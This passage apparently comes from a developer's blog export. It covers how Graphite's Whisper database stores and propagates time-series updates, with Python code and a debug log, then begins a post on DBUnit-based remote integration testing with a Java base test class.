<span class="lnr">719 </span> packedPoint = fh.read(pointSize)
<span class="lnr">720 </span> (baseInterval,baseValue) = struct.unpack(pointFormat,packedPoint)
<span class="lnr">721 </span>
<span class="lnr">722 </span> <span class="Statement">if</span> baseInterval == <span class="Constant">0</span>:
<span class="lnr">723 </span> step = archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">724 </span> points = (untilInterval - fromInterval) / step
<span class="lnr">725 </span> timeInfo = (fromInterval,untilInterval,step)
<span class="lnr">726 </span> valueList = [<span class="Identifier">None</span>] * points
<span class="lnr">727 </span> <span class="Statement">return</span> (timeInfo,valueList)
<span class="lnr">728 </span>
<span class="lnr">729 </span> <span class="Comment">#Determine fromOffset</span>
<span class="lnr">730 </span> timeDistance = fromInterval - baseInterval
<span class="lnr">731 </span> pointDistance = timeDistance / archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">732 </span> byteDistance = pointDistance * pointSize
<span class="lnr">733 </span> fromOffset = archive[<span class="Constant">'offset'</span>] + (byteDistance % archive[<span class="Constant">'size'</span>])
<span class="lnr">734 </span>
<span class="lnr">735 </span> <span class="Comment">#Determine untilOffset</span>
<span class="lnr">736 </span> timeDistance = untilInterval - baseInterval
<span class="lnr">737 </span> pointDistance = timeDistance / archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">738 </span> byteDistance = pointDistance * pointSize
<span class="lnr">739 </span> untilOffset = archive[<span class="Constant">'offset'</span>] + (byteDistance % archive[<span class="Constant">'size'</span>])
<span class="lnr">740 </span>
<span class="lnr">741 </span> <span class="Comment">#Read all the points in the interval</span>
<span class="lnr">742 </span> fh.seek(fromOffset)
<span class="lnr">743 </span> <span class="Statement">if</span> fromOffset < untilOffset: <span class="Comment">#If we don't wrap around the archive</span>
<span class="lnr">744 </span> seriesString = fh.read(untilOffset - fromOffset)
<span class="lnr">745 </span> <span class="Statement">else</span>: <span class="Comment">#We do wrap around the archive, so we need two reads</span>
<span class="lnr">746 </span> archiveEnd = archive[<span class="Constant">'offset'</span>] + archive[<span class="Constant">'size'</span>]
<span class="lnr">747 </span> seriesString = fh.read(archiveEnd - fromOffset)
<span class="lnr">748 </span> fh.seek(archive[<span class="Constant">'offset'</span>])
<span class="lnr">749 </span> seriesString += fh.read(untilOffset - archive[<span class="Constant">'offset'</span>])
<span class="lnr">750 </span>
<span class="lnr">751 </span> <span class="Comment">#Now we unpack the series data we just read (anything faster than unpack?)</span>
<span class="lnr">752 </span> byteOrder,pointTypes = pointFormat[<span class="Constant">0</span>],pointFormat[<span class="Constant">1</span>:]
<span class="lnr">753 </span> points = <span class="Identifier">len</span>(seriesString) / pointSize
<span class="lnr">754 </span> seriesFormat = byteOrder + (pointTypes * points)
<span class="lnr">755 </span> unpackedSeries = struct.unpack(seriesFormat, seriesString)
<span class="lnr">756 </span>
<span class="lnr">757 </span> <span class="Comment">#And finally we construct a list of values (optimize this!)</span>
<span class="lnr">758 </span> valueList = [<span class="Identifier">None</span>] * points <span class="Comment">#pre-allocate entire list for speed</span>
<span class="lnr">759 </span> currentInterval = fromInterval
<span class="lnr">760 </span> step = archive[<span class="Constant">'secondsPerPoint'</span>]
<span class="lnr">761 </span>
<span class="lnr">762 </span> <span class="Statement">for</span> i <span class="Statement">in</span> <span class="Identifier">xrange</span>(<span class="Constant">0</span>,<span class="Identifier">len</span>(unpackedSeries),<span class="Constant">2</span>):
<span class="lnr">763 </span> pointTime = unpackedSeries[i]
<span class="lnr">764 </span> <span class="Statement">if</span> pointTime == currentInterval:
<span class="lnr">765 </span> pointValue = unpackedSeries[i+<span class="Constant">1</span>]
<span class="lnr">766 </span> valueList[i/<span class="Constant">2</span>] = pointValue <span class="Comment">#in-place reassignment is faster than append()</span>
<span class="lnr">767 </span> currentInterval += step
<span class="lnr">768 </span>
<span class="lnr">769 </span> fh.close()
<span class="lnr">770 </span> timeInfo = (fromInterval,untilInterval,step)
<span class="lnr">771 </span> <span class="Statement">return</span> (timeInfo,valueList)
<span class="lnr">772 </span>
<span class="lnr">773 </span>now = <span class="Identifier">int</span>( time.time() - <span class="Constant">24</span>*<span class="Constant">24</span>*<span class="Constant">60</span> )
<span class="lnr">774 </span><span class="Identifier">print</span> <span class="Constant">'update'</span>
<span class="lnr">775 </span>update(<span class="Constant">"e:/tmp/ramoncounter-2.wsp"</span>, <span class="Constant">12</span>, now)
<span class="lnr">776 </span>
<span class="lnr">777 </span>
</pre>
<br />
Be noticed that ramoncounter.wsp was created at about 4PM 2012/04/18, and kept receiving data points until 10AM 2012/04/19, and I ran 'python whisper.py' at about 5PM 2012/04/19. The last 3 lines of whisper.py will call the update() method which is the most complicated one, and you find the input timestamp parameter is '<span class="Identifier">int</span>( time.time() - <span class="Constant">24</span>*<span class="Constant">24</span>*<span class="Constant">60</span> )', it is necessary, as all data points is between 4PM 2012/04/18 and 10AM 2012/04/19.<br />
<br />
Below is the whisper.log:<br />
<br />
<pre style="background-color: white; border-style: dotted;">INFO:root:diff(now - timestamp) is 34560
INFO:root:higher archive:{'retention': 604800, 'secondsPerPoint': 60, 'points': 10080, 'size': 120960, 'offset': 25972}
INFO:root:timestamp is 1334795580
INFO:root:lowerIntervalStart is 1334795400
INFO:root:lowerIntervalEnd is 1334796000
INFO:root:higherBaseInterval,higherBaseValue is 1334745540,0
INFO:root:higher['secondsPerPoint'] is 60
INFO:root:higherFirstOffset is 35944
INFO:root:relativeFirstOffset is 9972
INFO:root:relativeLastOffset is 10092
INFO:root:higherLastOffset is 10092
INFO:root:points is 10
INFO:root:unpackedSeries is (1334795400, 0.51666666666666672, 1334795460, 0.25, 1334795520, 0.40000000000000008, 1334795580, 12.0, 1334795640, 0.46666666666666673, 1334795700, 0.5, 1334795760, 0.31666666666666665, 1334795820, 0.71666666666666667, 1334795880, 0.56666666666666665, 1334795940, 0.5)
INFO:root:currentInterval is 1334795400
INFO:root:step is 60
INFO:root:neighborValues is [0.51666666666666672, 0.25, 0.40000000000000008, 12.0, 0.46666666666666673, 0.5, 0.31666666666666665, 0.71666666666666667, 0.56666666666666665, 0.5]
INFO:root:knownValues is [0.51666666666666672, 0.25, 0.40000000000000008, 12.0, 0.46666666666666673, 0.5, 0.31666666666666665, 0.71666666666666667, 0.56666666666666665, 0.5]
INFO:root:knownPercent is 1.000000
INFO:root:xff is 0.500000
INFO:root:aggregationMethod is average
INFO:root:aggregateValue is 1.623333
</pre>
It is important to understand how whisper update and <b>propagate </b>the updating to lower-precision archives.<br />
Based on the log, you can find that the first archive found is 'archive:{'retention': 604800, 'secondsPerPoint': 60, 'points': 10080, 'size': 120960, 'offset': 25972}', not 'archive:{'retention': 21600, 'secondsPerPoint': 10, 'points': 2160, 'size': 25920, 'offset': 52}', why?<br />
<br />
As we ran 'python whisper.py' at 5PM 2012/04/19, and the timestamp of incoming data point is about 5PM 2012/04/18('<span class="Identifier">int</span>( time.time() - <span class="Constant">24</span>*<span class="Constant">24</span>*<span class="Constant">60</span> )'), the time distance is 24 hours(retention is 24*60*60=86400), it is greater that the highest-precision archive(secondsPerPoing:10, retention:21600), so the next archive selected. Just check code for detailed information.<br />
<br />
How propagate occurs?<br />
It is better to explain it by a example(graphite official documents really lack of this).<br />
If the input data point is "1334795700, 0.5", whisper will first update archive(secondsPerPoint:10), and then propagate to the other 2 lower-precision archives. Lets focus on how it update archive(secondsPerPoint:60).<br />
1) It will match a definite data point by:<br />
<br />
<pre>lowerIntervalStart = timestamp - (timestamp % lower['secondsPerPoint'])</pre>
<br />
2) Find the position of timestamp(lowerIntervalStart) in archive(secondsPerPoint:10)<br />
3) Find next 6 data points in archive(secondsPerPoint:10). why 6 points? secondsPerPoint_of_Lower_archive/secondsPerPoint_of_Higher_archive=60/10=6.<br />
4) Apply the aggregate method to the 6 data points.<br />
5) Update archive(secondsPerPoint:60) by timestamp(lowerIntervalStart) and aggregate value.<br />
<br />
---------------------------------------------------<br />
Some terminology of Graphite's Whisper(a round-robin-database)<br />
- data point: A float data value paired with a timestamp in seconds since UNIX Epoch(01-01-1970).<br />
<div style="text-align: left;">
- resolution: The number of seconds per data point. For example in our test, statsd will flush the counter('ramoncounter') every 10 seconds, from the perspective of whisper, it receives 1 data point per 10 seconds, so the resolution is 10/1 = 10seconds. And resolution 10 seconds is higher than a resolution of 60 seconds.<br />
<br /></div>
<br />Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com17tag:blogger.com,1999:blog-30018430.post-49340686338433533252012-04-11T16:19:00.001+08:002012-04-11T16:25:09.816+08:00DBUnit for integration test.I have published a post <a href="http://ramonli.blogspot.com/2011/01/dive-into-spring-test-framework.html" style="background-color: #66bb33; color: #993322; font-family: Georgia, Utopia, 'Palatino Linotype', Palatino, serif; font-size: 14px; line-height: 16px; text-align: left; text-decoration: none; text-indent: -15px;">Dive into Spring test framework</a> which demonstrate that spring test framework will hugely improve our integration test. But must be aware that in the previous post, testing code and tested code run in same process, that says they are run in same transaction, as all integration test call javax.servlet.HttpServlet.doPost() directly.<br />
Now we face a new situation, imagine that how do maintain data consistency when our testing code call tested code remotely, for example by http, or TCP socket etc. In this case, testing code and tested code run in seperated process, spring can't manage both client and server side transactions. How do we automatic such integration test scenario?<br />
<br />
The main challenges in such remote integration test are how to make data consistent for each test case. Only definite input can produce definite output, then how to maintain the underlying database at a definite state for each test case? <a href="http://www.dbunit.org/">DBUnit</a> is born for that.<br />
<br />
Before running a test case, we can clean and insert a given initial test data set, this will guarantee that we will run our test case against given test data, then we can expect a given output, and finally compare expected result against underlying database.<br />
<br />
Code will explain everything. Below is a base test class from which all test class should extend.<br />
<br />
<pre style="background-color:white;border-style:dotted">
<span class="lnr"> 1 </span><span class="PreProc">package</span> net.mpos.igpe.test;
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span><span class="PreProc">import</span> java.io.File;
<span class="lnr"> 4 </span><span class="PreProc">import</span> java.io.FileOutputStream;
<span class="lnr"> 5 </span><span class="PreProc">import</span> java.io.IOException;
<span class="lnr"> 6 </span><span class="PreProc">import</span> java.sql.Connection;
<span class="lnr"> 7 </span><span class="PreProc">import</span> java.sql.Driver;
<span class="lnr"> 8 </span><span class="PreProc">import</span> java.sql.DriverManager;
<span class="lnr"> 9 </span><span class="PreProc">import</span> java.sql.ResultSet;
<span class="lnr"> 10 </span><span class="PreProc">import</span> java.sql.SQLException;
<span class="lnr"> 11 </span><span class="PreProc">import</span> java.sql.Statement;
<span class="lnr"> 12 </span><span class="PreProc">import</span> java.text.SimpleDateFormat;
<span class="lnr"> 13 </span><span class="PreProc">import</span> java.util.Date;
<span class="lnr"> 14 </span><span class="PreProc">import</span> java.util.HashMap;
<span class="lnr"> 15 </span><span class="PreProc">import</span> java.util.LinkedList;
<span class="lnr"> 16 </span><span class="PreProc">import</span> java.util.List;
<span class="lnr"> 17 </span><span class="PreProc">import</span> java.util.Map;
<span class="lnr"> 18 </span>
<span class="lnr"> 19 </span><span class="PreProc">import</span> net.mpos.igpe.common.tlvutilities.TLVElement;
<span class="lnr"> 20 </span><span class="PreProc">import</span> net.mpos.igpe.common.tlvutilities.TLVParser;
<span class="lnr"> 21 </span><span class="PreProc">import</span> net.mpos.igpe.core.Constants;
<span class="lnr"> 22 </span><span class="PreProc">import</span> net.mpos.igpe.util.SecurityMeasurements;
<span class="lnr"> 23 </span>
<span class="lnr"> 24 </span><span class="PreProc">import</span> org.apache.commons.logging.Log;
<span class="lnr"> 25 </span><span class="PreProc">import</span> org.apache.commons.logging.LogFactory;
<span class="lnr"> 26 </span><span class="PreProc">import</span> org.dbunit.Assertion;
<span class="lnr"> 27 </span><span class="PreProc">import</span> org.dbunit.DatabaseUnitException;
<span class="lnr"> 28 </span><span class="PreProc">import</span> org.dbunit.database.DatabaseConnection;
<span class="lnr"> 29 </span><span class="PreProc">import</span> org.dbunit.database.IDatabaseConnection;
<span class="lnr"> 30 </span><span class="PreProc">import</span> org.dbunit.database.QueryDataSet;
<span class="lnr"> 31 </span><span class="PreProc">import</span> org.dbunit.dataset.DataSetException;
<span class="lnr"> 32 </span><span class="PreProc">import</span> org.dbunit.dataset.IDataSet;
<span class="lnr"> 33 </span><span class="PreProc">import</span> org.dbunit.dataset.ITable;
<span class="lnr"> 34 </span><span class="PreProc">import</span> org.dbunit.dataset.SortedTable;
<span class="lnr"> 35 </span><span class="PreProc">import</span> org.dbunit.dataset.filter.DefaultColumnFilter;
<span class="lnr"> 36 </span><span class="PreProc">import</span> org.dbunit.dataset.xml.FlatXmlDataSet;
<span class="lnr"> 37 </span><span class="PreProc">import</span> org.dbunit.ext.oracle.Oracle10DataTypeFactory;
<span class="lnr"> 38 </span><span class="PreProc">import</span> org.dbunit.operation.DatabaseOperation;
<span class="lnr"> 39 </span><span class="PreProc">import</span> org.dbunit.util.fileloader.FlatXmlDataFileLoader;
<span class="lnr"> 40 </span><span class="PreProc">import</span> org.junit.After;
<span class="lnr"> 41 </span><span class="PreProc">import</span> org.junit.Before;
<span class="lnr"> 42 </span>
<span class="lnr"> 43 </span><span class="Type">public</span> <span class="Type">class</span> BaseAcceptanceTest {
<span class="lnr"> 44 </span> <span class="Type">protected</span> Log logger = LogFactory.getLog(BaseAcceptanceTest.<span class="Type">class</span>);
<span class="lnr"> 45 </span> <span class="Type">public</span> IDatabaseConnection dbConn;
<span class="lnr"> 46 </span> <span class="Comment">// NOTE: DATA_KEY and MAC_KEY must be same with table 'operator_session'.</span>
<span class="lnr"> 47 </span> <span class="Comment">// Before runnint test, you must reload the testing data into db in order to</span>
<span class="lnr"> 48 </span> <span class="Comment">// set the operator_session.create_time as current time.</span>
<span class="lnr"> 49 </span> <span class="Type">public</span> String dataKey = <span class="Constant">"BS1ZbvLkmOyESBpyZ0XqoiZH8WkYsL2g"</span>;
<span class="lnr"> 50 </span> <span class="Type">public</span> String macKey = <span class="Constant">"7yuxr9fYh/2lmtv5YnybIQTm+jdAr58V+ifRZskMfO8="</span>;
<span class="lnr"> 51 </span> <span class="Type">public</span> String igpeHost = <span class="Constant">"192.168.2.107"</span>;
<span class="lnr"> 52 </span> <span class="Type">public</span> <span class="Type">int</span> igpePort = <span class="Constant">3000</span>;
<span class="lnr"> 53 </span> <span class="Comment">// public String igpeHost = "192.168.2.136";</span>
<span class="lnr"> 54 </span> <span class="Comment">// public int igpePort = 8899;</span>
<span class="lnr"> 55 </span> <span class="Type">public</span> String opLoginName = <span class="Constant">"OPERATOR-LOGIN"</span>;
<span class="lnr"> 56 </span> <span class="Type">public</span> String batchNo = <span class="Constant">"200901"</span>;
<span class="lnr"> 57 </span> <span class="Type">public</span> <span class="Type">long</span> deviceId = <span class="Constant">111</span>;
<span class="lnr"> 58 </span>
<span class="lnr"> 59 </span> <span class="Comment">/**</span>
<span class="lnr"> 60 </span><span class="Comment"> *</span><span class="Special"> Load test data for each test case automatically.</span><span class="Comment"> As all IGPE integration</span>
<span class="lnr"> 61 </span><span class="Comment"> * tests are TE backed, those master test data(oracle_masterdata.sql) which</span>
<span class="lnr"> 62 </span><span class="Comment"> * used to support IGPE/TE launching must be imported manually.</span>
<span class="lnr"> 63 </span><span class="Comment"> */</span>
<span class="lnr"> 64 </span> <span class="PreProc">@Before</span>
<span class="lnr"> 65 </span> <span class="Type">public</span> <span class="Type">void</span> setUp() <span class="Type">throws</span> Exception {
<span class="lnr"> 66 </span> <span class="Comment">// we can reuse IDatabaseConnection, it represents a specific underlying</span>
<span class="lnr"> 67 </span> <span class="Comment">// database connection.</span>
<span class="lnr"> 68 </span> <span class="Comment">// must use this constructor which specify 'scheme', otherwise a</span>
<span class="lnr"> 69 </span> <span class="Comment">// 'AmbiguousTableNameException' will be thrown out.</span>
<span class="lnr"> 70 </span> dbConn = <span class="Statement">new</span> DatabaseConnection(setupConnection(), <span class="Constant">"ramonal"</span>, <span class="Constant">true</span>);
<span class="lnr"> 71 </span> <span class="Comment">/**</span>
<span class="lnr"> 72 </span><span class="Comment"> *</span><span class="Special"> Refer to DBUnit FAQ.</span>
<span class="lnr"> 73 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr"> 74 </span><span class="Comment"> * Why am I getting an "The configured data type factory 'class</span>
<span class="lnr"> 75 </span><span class="Comment"> * org.dbunit.dataset.datatype.DefaultDataTypeFactory' might cause</span>
<span class="lnr"> 76 </span><span class="Comment"> * problems with the current database ..." ?</span>
<span class="lnr"> 77 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr"> 78 </span><span class="Comment"> * This warning occurs when no data type factory has been configured and</span>
<span class="lnr"> 79 </span><span class="Comment"> * DbUnit defaults to its</span>
<span class="lnr"> 80 </span><span class="Comment"> * org.dbunit.dataset.datatype.DefaultDataTypeFactory which supports a</span>
<span class="lnr"> 81 </span><span class="Comment"> * limited set of RDBMS.</span>
<span class="lnr"> 82 </span><span class="Comment"> */</span>
<span class="lnr"> 83 </span> dbConn.getConfig().setProperty(<span class="Constant">"<a href="http://www.dbunit.org/properties/datatypeFactory">http://www.dbunit.org/properties/datatypeFactory</a>"</span>,
<span class="lnr"> 84 </span> <span class="Statement">new</span> Oracle10DataTypeFactory());
<span class="lnr"> 85 </span>
<span class="lnr"> 86 </span> <span class="Comment">// initialize database</span>
<span class="lnr"> 87 </span> FlatXmlDataFileLoader loader = <span class="Statement">new</span> FlatXmlDataFileLoader();
<span class="lnr"> 88 </span> <span class="Comment">/**</span>
<span class="lnr"> 89 </span><span class="Comment"> *</span><span class="Special"> DbUnit uses the first tag for a table to define the columns to be</span>
<span class="lnr"> 90 </span><span class="Comment"> *</span><span class="Special"> populated.</span><span class="Comment"> If the following records for this table contain extra</span>
<span class="lnr"> 91 </span><span class="Comment"> * columns, these ones will therefore not be populated.</span>
<span class="lnr"> 92 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr"> 93 </span><span class="Comment"> * To solve this, either define all the columns of the table in the</span>
<span class="lnr"> 94 </span><span class="Comment"> * first row (using NULL values for the empty columns), or use a DTD to</span>
<span class="lnr"> 95 </span><span class="Comment"> * define the metadata of the tables you use.</span>
<span class="lnr"> 96 </span><span class="Comment"> */</span>
<span class="lnr"> 97 </span> Map replaceMap = <span class="Statement">new</span> HashMap();
<span class="lnr"> 98 </span> replaceMap.put(<span class="Constant">"[NULL]"</span>, <span class="Constant">null</span>);
<span class="lnr"> 99 </span> replaceMap.put(<span class="Constant">"[SYS_TIMESTAMP]"</span>,
<span class="lnr">100 </span> <span class="Statement">new</span> SimpleDateFormat(<span class="Constant">"yyyy-MM-dd HH:mm:ss"</span>).format(<span class="Statement">new</span> Date()));
<span class="lnr">101 </span> loader.addReplacementObjects(replaceMap);
<span class="lnr">102 </span> <span class="Comment">// lookup data file from classpath</span>
<span class="lnr">103 </span> IDataSet testData = loader.load(<span class="Constant">"/testdata.xml"</span>);
<span class="lnr">104 </span> DatabaseOperation.CLEAN_INSERT.execute(dbConn, testData);
<span class="lnr">105 </span> logger.info(<span class="Constant">"Load test data successfully"</span>);
<span class="lnr">106 </span> }
<span class="lnr">107 </span>
<span class="lnr">108 </span> <span class="PreProc">@After</span>
<span class="lnr">109 </span> <span class="Type">public</span> <span class="Type">void</span> tearDown() <span class="Type">throws</span> Exception {
<span class="lnr">110 </span> <span class="Comment">// release database connection</span>
<span class="lnr">111 </span> <span class="Statement">if</span> (dbConn != <span class="Constant">null</span>)
<span class="lnr">112 </span> dbConn.close();
<span class="lnr">113 </span> }
<span class="lnr">114 </span>
<span class="lnr">115 </span> <span class="Type">protected</span> <span class="Type">void</span> assertTable(List<DbAssertTable> actualAssertTables)
<span class="lnr">116 </span> <span class="Type">throws</span> SQLException, DataSetException, DatabaseUnitException, IOException {
<span class="lnr">117 </span> <span class="Type">this</span>.assertTable(<span class="Constant">null</span>, actualAssertTables);
<span class="lnr">118 </span> }
<span class="lnr">119 </span>
<span class="lnr">120 </span> <span class="Comment">/**</span>
<span class="lnr">121 </span><span class="Comment"> *</span><span class="Special"> Assert data set.</span><span class="Comment"> Load expected data set file from classpath, this file</span>
<span class="lnr">122 </span><span class="Comment"> * must be located at the same package with the test class and has a</span>
<span class="lnr">123 </span><span class="Comment"> * convenient name which follows</span>
<span class="lnr">124 </span><span class="Comment"> * '{TestClassName}.{TestMethodName}.expected.xml', for example</span>
<span class="lnr">125 </span><span class="Comment"> * 'PayoutAcceptanceTest.testPayout_WithoutLGPrize_OldPOS_OK.expected.xml'</span>
<span class="lnr">126 </span><span class="Comment"> */</span>
<span class="lnr">127 </span> <span class="Type">protected</span> <span class="Type">void</span> assertTable(Map replacementMap, List<DbAssertTable> actualAssertTables)
<span class="lnr">128 </span> <span class="Type">throws</span> SQLException, DataSetException, DatabaseUnitException, IOException {
<span class="lnr">129 </span> String className = <span class="Type">this</span>.getClass().getCanonicalName();
<span class="lnr">130 </span> className = className.replace(<span class="Constant">"."</span>, <span class="Constant">"/"</span>);
<span class="lnr">131 </span> <span class="Type">this</span>.assertTable(replacementMap, actualAssertTables, PATH_MODE_CLASSPATH + <span class="Constant">"/"</span> + className
<span class="lnr">132 </span> + <span class="Constant">"."</span> + getCurrentMethodName() + <span class="Constant">".expected.xml"</span>);
<span class="lnr">133 </span> }
<span class="lnr">134 </span>
<span class="lnr">135 </span> <span class="Type">protected</span> String getCurrentMethodName() {
<span class="lnr">136 </span> StackTraceElement e[] = Thread.currentThread().getStackTrace();
<span class="lnr">137 </span> <span class="Statement">for</span> (StackTraceElement s : e) {
<span class="lnr">138 </span> <span class="Comment">// only test case method name can start with 'testXXX'.</span>
<span class="lnr">139 </span> <span class="Statement">if</span> (s.getMethodName().startsWith(<span class="Constant">"test"</span>))
<span class="lnr">140 </span> <span class="Statement">return</span> s.getMethodName();
<span class="lnr">141 </span> }
<span class="lnr">142 </span> <span class="Statement">return</span> <span class="Constant">null</span>;
<span class="lnr">143 </span> }
<span class="lnr">144 </span>
<span class="lnr">145 </span> <span class="Comment">/**</span>
<span class="lnr">146 </span><span class="Comment"> *</span><span class="Special"> Assert data set in </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">expectedDataSetFile</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special"> against underlying</span>
<span class="lnr">147 </span><span class="Comment"> *</span><span class="Special"> database.</span><span class="Comment"> Only data set defined in </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">expectedDataSetFile</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> will</span>
<span class="lnr">148 </span><span class="Comment"> * be compared.</span>
<span class="lnr">149 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr">150 </span><span class="Comment"> * You can specify </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">expectedDataSetFile</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> in two styles:</span>
<span class="lnr">151 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">ul</span><span class="Identifier">></span>
<span class="lnr">152 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">li</span><span class="Identifier">></span><span class="Comment">lookup data set file from file system, it must start with "file://",</span>
<span class="lnr">153 </span><span class="Comment"> * for example, "file://e:/tmp/expected.xml"</span><span class="Identifier"></</span><span class="Statement">li</span><span class="Identifier">></span>
<span class="lnr">154 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">li</span><span class="Identifier">></span><span class="Comment">lookup data set file from classpath, it must start with</span>
<span class="lnr">155 </span><span class="Comment"> * "classpath://", for example,</span>
<span class="lnr">156 </span><span class="Comment"> * "classpath:///net/mpos/igpe/transactions/payout/Payout.testPayout_WithLGPrize_NewPOS_OK.xml"</span>
<span class="lnr">157 </span><span class="Comment"> * </span><span class="Identifier"></</span><span class="Statement">li</span><span class="Identifier">></span>
<span class="lnr">158 </span><span class="Comment"> * </span><span class="Identifier"></</span><span class="Statement">ul</span><span class="Identifier">></span>
<span class="lnr">159 </span><span class="Comment"> * If </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">expectedDataSetFile</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> doesn't start with either "file:" or</span>
<span class="lnr">160 </span><span class="Comment"> * "classpath://", default "classpath://" will be assumed.</span>
<span class="lnr">161 </span><span class="Comment"> * </span>
<span class="lnr">162 </span><span class="Comment"> * </span><span class="Special">@param</span><span class="Identifier"> actualAssertTables</span><span class="Comment"> The database table definitions which used to</span>
<span class="lnr">163 </span><span class="Comment"> * limit the returned rows and also may apply ordering.</span>
<span class="lnr">164 </span><span class="Comment"> * </span><span class="Special">@param</span><span class="Identifier"> expectedDataSetFile</span><span class="Comment"> The file of expected data set.</span>
<span class="lnr">165 </span><span class="Comment"> * </span><span class="Special">@param</span><span class="Identifier"> replacementMap</span><span class="Comment"> A replacement map used to replace placholder in</span>
<span class="lnr">166 </span><span class="Comment"> * expected data set file.</span>
<span class="lnr">167 </span><span class="Comment"> */</span>
<span class="lnr">168 </span> <span class="Type">protected</span> <span class="Type">void</span> assertTable(Map replacementMap, List<DbAssertTable> actualAssertTables,
<span class="lnr">169 </span> String expectedDataSetFile) <span class="Type">throws</span> SQLException, DataSetException,
<span class="lnr">170 </span> DatabaseUnitException, IOException {
<span class="lnr">171 </span> <span class="Comment">// only compare all tables defined in expectedDataSetFile</span>
<span class="lnr">172 </span> IDataSet expectedDataSet = <span class="Type">this</span>.loadDataSet(expectedDataSetFile, replacementMap);
<span class="lnr">173 </span> String[] expectedTableNames = expectedDataSet.getTableNames();
<span class="lnr">174 </span> <span class="Statement">for</span> (String expectedTableName : expectedTableNames) {
<span class="lnr">175 </span> <span class="Statement">if</span> (logger.isDebugEnabled())
<span class="lnr">176 </span> logger.debug(<span class="Constant">"Start to compare expected table - "</span> + expectedTableName);
<span class="lnr">177 </span> ITable actualTable = <span class="Constant">null</span>;
<span class="lnr">178 </span> ITable expectedTable = expectedDataSet.getTable(expectedTableName);
<span class="lnr">179 </span> DbAssertTable dbTableDef = <span class="Type">this</span>.lookupDbAssertTable(actualAssertTables,
<span class="lnr">180 </span> expectedTableName);
<span class="lnr">181 </span> <span class="Statement">if</span> (dbTableDef == <span class="Constant">null</span>) {
<span class="lnr">182 </span> <span class="Comment">// match all rows in underlying database table.</span>
<span class="lnr">183 </span> actualTable = dbConn.createTable(expectedTableName);
<span class="lnr">184 </span> } <span class="Statement">else</span> {
<span class="lnr">185 </span> <span class="Statement">if</span> (dbTableDef.getQuery() != <span class="Constant">null</span>)
<span class="lnr">186 </span> actualTable = dbConn.createQueryTable(expectedTableName, dbTableDef.getQuery());
<span class="lnr">187 </span> <span class="Statement">if</span> (dbTableDef.getSort() != <span class="Constant">null</span>) {
<span class="lnr">188 </span> <span class="Comment">// By default, database table snapshot taken by DbUnit are</span>
<span class="lnr">189 </span> <span class="Comment">// sorted by</span>
<span class="lnr">190 </span> <span class="Comment">// primary keys. If a table does not have a primary key or</span>
<span class="lnr">191 </span> <span class="Comment">// the primary</span>
<span class="lnr">192 </span> <span class="Comment">// key is automatically generated by your database, the rows</span>
<span class="lnr">193 </span> <span class="Comment">// ordering is</span>
<span class="lnr">194 </span> <span class="Comment">// not predictable and assertEquals will fail.</span>
<span class="lnr">195 </span> actualTable = <span class="Statement">new</span> SortedTable(actualTable, dbTableDef.getSort());
<span class="lnr">196 </span> <span class="Comment">// must be invoked immediately after the constructor</span>
<span class="lnr">197 </span> ((SortedTable) actualTable).setUseComparable(<span class="Constant">true</span>);
<span class="lnr">198 </span> expectedTable = <span class="Statement">new</span> SortedTable(expectedTable, dbTableDef.getSort());
<span class="lnr">199 </span> <span class="Comment">// must be invoked immediately after the constructor</span>
<span class="lnr">200 </span> ((SortedTable) expectedTable).setUseComparable(<span class="Constant">true</span>);
<span class="lnr">201 </span> }
<span class="lnr">202 </span> }
<span class="lnr">203 </span> <span class="Comment">// Ignoring some columns in comparison, only compare columns defined</span>
<span class="lnr">204 </span> <span class="Comment">// in expected table.</span>
<span class="lnr">205 </span> actualTable = DefaultColumnFilter.includedColumnsTable(actualTable, expectedTable
<span class="lnr">206 </span> .getTableMetaData().getColumns());
<span class="lnr">207 </span>
<span class="lnr">208 </span> <span class="Comment">// assert</span>
<span class="lnr">209 </span> Assertion.assertEquals(expectedTable, actualTable);
<span class="lnr">210 </span> }
<span class="lnr">211 </span> }
<span class="lnr">212 </span>
<span class="lnr">213 </span> <span class="Type">private</span> DbAssertTable lookupDbAssertTable(List<DbAssertTable> tables, String tableName) {
<span class="lnr">214 </span> <span class="Statement">for</span> (DbAssertTable dbTable : tables) {
<span class="lnr">215 </span> <span class="Statement">if</span> (tableName.equalsIgnoreCase(dbTable.getTableName()))
<span class="lnr">216 </span> <span class="Statement">return</span> dbTable;
<span class="lnr">217 </span> }
<span class="lnr">218 </span> logger.info(<span class="Constant">"No DbAssertTable found by tableName="</span> + tableName);
<span class="lnr">219 </span> <span class="Statement">return</span> <span class="Constant">null</span>;
<span class="lnr">220 </span> }
<span class="lnr">221 </span>
<span class="lnr">222 </span> <span class="Type">protected</span> <span class="Type">static</span> <span class="Type">final</span> String PATH_MODE_FILE = <span class="Constant">"file://"</span>;
<span class="lnr">223 </span> <span class="Type">protected</span> <span class="Type">static</span> <span class="Type">final</span> String PATH_MODE_CLASSPATH = <span class="Constant">"classpath://"</span>;
<span class="lnr">224 </span>
